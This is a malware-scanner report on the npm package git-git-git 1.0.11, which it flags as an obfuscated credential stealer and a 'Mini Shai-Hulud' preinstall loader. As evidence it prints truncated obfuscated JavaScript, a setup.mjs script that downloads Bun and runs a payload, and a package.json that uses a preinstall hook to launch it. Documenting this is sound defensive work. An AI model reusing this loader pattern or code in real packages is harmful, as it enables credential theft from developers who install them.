git-git-git 1.0.11
Obfuscated credential stealer
Kubernetes token pivots through cloud metadataMini Shai-Hulud setup.mjs preinstall Bun loader
SHA-256649e2ee5734b108831c3fac8ed721b441e69dfc80f59f6297160c0580f947234
Also flagged by osv (MAL-2026-3504: Malicious code in git-git-git (npm)) +3 more.
Evidence
1const _0x55cbcb=_0xfe37;(function(_0x7bc9b,_0x312424){const _0x26d0d6=_0xfe37,_0x470729=_0x7bc9b();while(!![]){try{const _0x3eb6f9=-parseInt(_0x26d0d6(0x579))/0x1+parseInt(_0x26d0d6(0x957))/0x2+-parseInt(_0x26d0d6(0x509))/0x3+-parseInt(_0x26d0d6(0x864))/0x4*(-parseInt(_0x26d0d6(0x324))/0x5)+-parseInt(_0x26d0d6(0x829))/0x6*(parseInt(_0x26d0d6(0x7b4))/0x7)+parseInt(_0x26d0d6(0x9cd))/0x8+parseInt(_0x26d0d6(0x6f4))/0x9;if(_0x3eb6f9===_0x312424)break;else _0x470729['push'](_0x470729['shift']());}catch(_0xb5372){_0x470729['push'](_0x470729['shift']());}}}(_0x2128,0x248aa));import{createHash as _0x3c1bc8,pbkdf2Sync as _0x1c16df,randomBytes as _0x4af6c9}from'crypto';class r8{[_0x55cbcb(0xb2f)];[_0x55cbcb(0x350)]=0x0n;[_0x55cbcb(0x743)]=Buffer['alloc'](0x0);['offset']=0x0;constructor(_0x2ef32b){const _0x12b1a3=_0x55cbcb;this[_0x12b1a3(0xb2f)]=_0x2ef32b;}[_0x55cbcb(0x3d0)](){const _0x53490f=_0x55cbcb,_0x233ec8={'oEnxQ':function(_0x29075f,_0x2a4791){return _0x29075f(_0x2a4791);}};let _0x56188f=_0x233ec8[_0x53490f(0xc7a)](_0x3c1bc8,_0x53490f(0xb02));_0x56188f[_0x53490f(0x6a1)](this[_0x53490f(0xb2f)]);let _0x2be34b=Buffer[_0x53490f(0x505)](0x8);_0x2be34b[_0x53490f(0x788)](this['counter']++),_0x56188f[_0x53490f(0x6a1)](_0x2be34b),this[_0x53490f(0x743)]=_0x56188f[_0x53490f(0x9a7)](),this[_0x53490f(0xbb5)]=0x0;}[_0x55cbcb(0x65d)](){const _0x46afc1=_0x55cbcb,_0x2b73bd={'rqVFD':function(_0x2b42c5,_0x165bff){return _0x2b42c5>=_0x165bff;}};if(_0x2b73bd[_0x46afc1(0x952)](this[_0x46afc1(0xbb5)],this[_0x46afc1(0x743)]['length']))this['refill']();return this['buf'][this['offset']++];}[_0x55cbcb(0x3ec)](){const _0x1fc0fe= …
1:2470… 4a){return _0x11c3ac+_0x50364a;}};let _0x477c04=new Uint8Array(0x100);for(let _0x52cc38=0x0;_0x59bc78[_0x135464(0x20d)](_0x52cc38,0x100);_0x52cc38++)_0x477c04[_0x52cc38]=_0x52cc38;for(let _0x3c61cd=0xff;_0x59bc78[_0x135464(0xcd8)](_0x3c61cd,0x0);_0x3c61cd--){let _0x52d089=0xffffffff-_0x59bc78[_0x135464(0x6ab)](0xffffffff,_0x59bc …
1:147915… ](_0x4e7915,_0x5b3e81):super[_0x5bb40f(0x477)](_0x5b3e81),this;}},Z7=_0x3a54aa=>_0x3a54aa[_0x55cbcb(0x21f)]()?'File':_0x3a54aa['isDirectory']()?'Directory':_0x3a54aa[_0x55cbcb(0x3e0)]()?_0x55cbcb(0x2f2):_0x55cbcb(0xc61),V7=class Z{[_0x55cbcb(0xb2d)];[_0x55cbcb(0x69f)];['length']=0x0;static[_0x55cbcb(0x8d4)](_0x348f3f=[]){return new Z(_0x348f3f);}constructor(_0x1e7fa2=[]){for(let _0x4db6b5 of _0x1e7fa2)this['push'](_0x4db6b5);}*[Symbol['iterator']](){const _0xed85cb=_0x55cbcb;for(let _0x5e6725=this[_0xed85cb(0x69f)];_0x5e672 …
180:4… onst w = process.platform === "win32";
181 const bn = w ? "bun.exe" : "bun";
182 const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
183
184 const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
185 const zp = path.join(td, `${a}.zip`);
186 const bp = path.join(td, bn);
⋯5 lines
192 fs.unlinkSync(zp);
193
194 if (!w) fs.chmodSync(bp, 0o755);
195 execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
196 } finally {
197 fs.rmSync(td, { recursive: true, force: true });
198 }
199}
200
201main().catch((e) => {
202 console.error(e.message);
203 process.exit(1);
204});
1{
2 "name": "git-git-git",
3 "version": "1.0.11",
4 "description": "A CLI tool for managing your git branches",
5 "main": "./dist/index.js",
6 "files": [
7 "dist"
8 ],
9 "bin": {
10 "ggg": "./dist/index.js"
11 },
12 "scripts": {
13 "preinstall": "node setup.mjs"
14 },
15 "repository": {
16 "type": "git",
17 "url": "https://github.com/christianalares/git-git-git"
18 },
19 "keywords": [
⋯4 lines
24 "author": "Christian Alares",
25 "license": "MIT",
26 "dependencies": {
27 "@babel/runtime": "^7.13.17",
28 "chalk": "^4.1.1",
⋯18 lines
Showing the top 5 files — 2 more files (10 regions) not shown.
No evidence locations were recorded for this file. Raw result